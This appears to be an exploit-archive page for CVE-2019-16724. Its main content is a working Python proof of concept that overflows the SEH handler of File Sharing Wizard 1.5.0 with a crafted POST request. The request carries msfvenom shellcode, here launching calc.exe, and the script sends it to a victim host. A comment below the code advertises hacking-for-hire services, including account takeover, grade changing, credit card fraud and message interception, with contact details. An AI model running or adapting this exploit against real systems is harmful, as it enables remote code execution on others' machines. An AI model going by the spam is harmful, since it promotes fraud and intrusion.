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File Sharing Wizard 1.5.0 SEH Buffer Overflow

File Sharing Wizard 1.5.0 SEH Buffer Overflow
Posted Sep 24, 2019
Authored by x00pwn

File Sharing Wizard version 1.5.0 POST SEH buffer overflow exploit.

tags | exploit, overflow
advisories | CVE-2019-16724
MD5 | 9ef2b27c979e9fabc6352e121cb872e7

File Sharing Wizard 1.5.0 SEH Buffer Overflow

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import socket
from struct import *

# Exploit Title: File sharing wizard 'post' remote SEH overflow
# Date: 9/23/2019
# Exploit Author: x00pwn
# Software Link: https://file-sharing-wizard.soft112.com/
# Version: 1.5.0
# Tested on: Windows 7
# CVE : CVE-2019-16724

# File-sharing-wizard-seh

#----------------------------------------------#
# Bad characters: \x00 #
# SEH value: 0x909032EB (JMP short) #
# NSEH value: 0x7c38a67f (POP POP RET) #
#----------------------------------------------#

# Assigned CVE ID : CVE-2019-16724

victim_host = "10.0.0.17"
victim_port = 80

# msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python -v shellcode EXITFUNC=seh
shellcode = ""
shellcode += "\xd9\xc7\xd9\x74\x24\xf4\xba\x65\x1d\x84\xe1\x5f"
shellcode += "\x29\xc9\xb1\x31\x31\x57\x18\x03\x57\x18\x83\xef"
shellcode += "\x99\xff\x71\x1d\x89\x82\x7a\xde\x49\xe3\xf3\x3b"
shellcode += "\x78\x23\x67\x4f\x2a\x93\xe3\x1d\xc6\x58\xa1\xb5"
shellcode += "\x5d\x2c\x6e\xb9\xd6\x9b\x48\xf4\xe7\xb0\xa9\x97"
shellcode += "\x6b\xcb\xfd\x77\x52\x04\xf0\x76\x93\x79\xf9\x2b"
shellcode += "\x4c\xf5\xac\xdb\xf9\x43\x6d\x57\xb1\x42\xf5\x84"
shellcode += "\x01\x64\xd4\x1a\x1a\x3f\xf6\x9d\xcf\x4b\xbf\x85"
shellcode += "\x0c\x71\x09\x3d\xe6\x0d\x88\x97\x37\xed\x27\xd6"
shellcode += "\xf8\x1c\x39\x1e\x3e\xff\x4c\x56\x3d\x82\x56\xad"
shellcode += "\x3c\x58\xd2\x36\xe6\x2b\x44\x93\x17\xff\x13\x50"
shellcode += "\x1b\xb4\x50\x3e\x3f\x4b\xb4\x34\x3b\xc0\x3b\x9b"
shellcode += "\xca\x92\x1f\x3f\x97\x41\x01\x66\x7d\x27\x3e\x78"
shellcode += "\xde\x98\x9a\xf2\xf2\xcd\x96\x58\x98\x10\x24\xe7"
shellcode += "\xee\x13\x36\xe8\x5e\x7c\x07\x63\x31\xfb\x98\xa6"
shellcode += "\x76\xfd\x69\x7b\x62\x6a\xd0\xee\xcf\xf6\xe3\xc4"
shellcode += "\x13\x0f\x60\xed\xeb\xf4\x78\x84\xee\xb1\x3e\x74"
shellcode += "\x82\xaa\xaa\x7a\x31\xca\xfe\x18\xd4\x58\x62\xf1"
shellcode += "\x73\xd9\x01\x0d"

nseh = pack ('<I',0x909032EB) # Short jump forward 32 places into NOP sled
seh = pack('I',0x7c38a67f) # POP POP RET

# 0x7c38a67f : pop ecx # pop ecx # ret | {PAGE_EXECUTE_READ} [MSVCR71.dll]
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.6030.0 (C:\Program Files (x86)\File Sharing Wizard\bin\MSVCR71.dll)

exploit_payload = "A" * 1040
exploit_payload += nseh # JMP short
exploit_payload += seh # POPPOPRET
exploit_payload += "\x90" * 100 # NOPSLED
exploit_payload += shellcode # popping calc.exe
exploit_payload += "D" *(5000 - len(exploit_payload))

payload_header = "POST " + exploit_payload
payload_header +=" HTTP/1.0\r\n\r\n"

# overflowed SEH handler - 42386942 : [*] Exact match at offset 1044

try:
print("""
--------------------------------
CVE-2019-16724 proof of concept
File sharing wizard SEH overflow
--------------------------------
""")
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("[x] Setting up a socket connection")
expl.connect((victim_host, victim_port))
print("[x] Establishing a connection to the victim")
expl.send(payload_header)
print("[x] Sending ")
except:
print("[!] Error establishing a connection")
print("[!] Error sending exploit")

Comments (1)

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mckaynikki

do you want to Hack into pay pal accounts, blogs,professional hacking into institutional servers-keylogging -University grades changing / Admin(staff) account hack -Access/Password (facebook, instagram, bbm,Skype, snapchat, twitter, badoo, Word Press,zoosk, various blogs, icloud, apple accounts etc.)-You can also learn some basic shit you wouldnt think you'd need on your everyday basis but find out how important and helpful they really are. use random credit cards to shop online, hack iphones, tap into your friends cal and monitor conversations, email and text message interception

Contact onlinehacker4hire@gmail.com or text him +1 7174543545

Comment by mckaynikki
2019-09-25 03:57:21 UTC | Permalink | Reply
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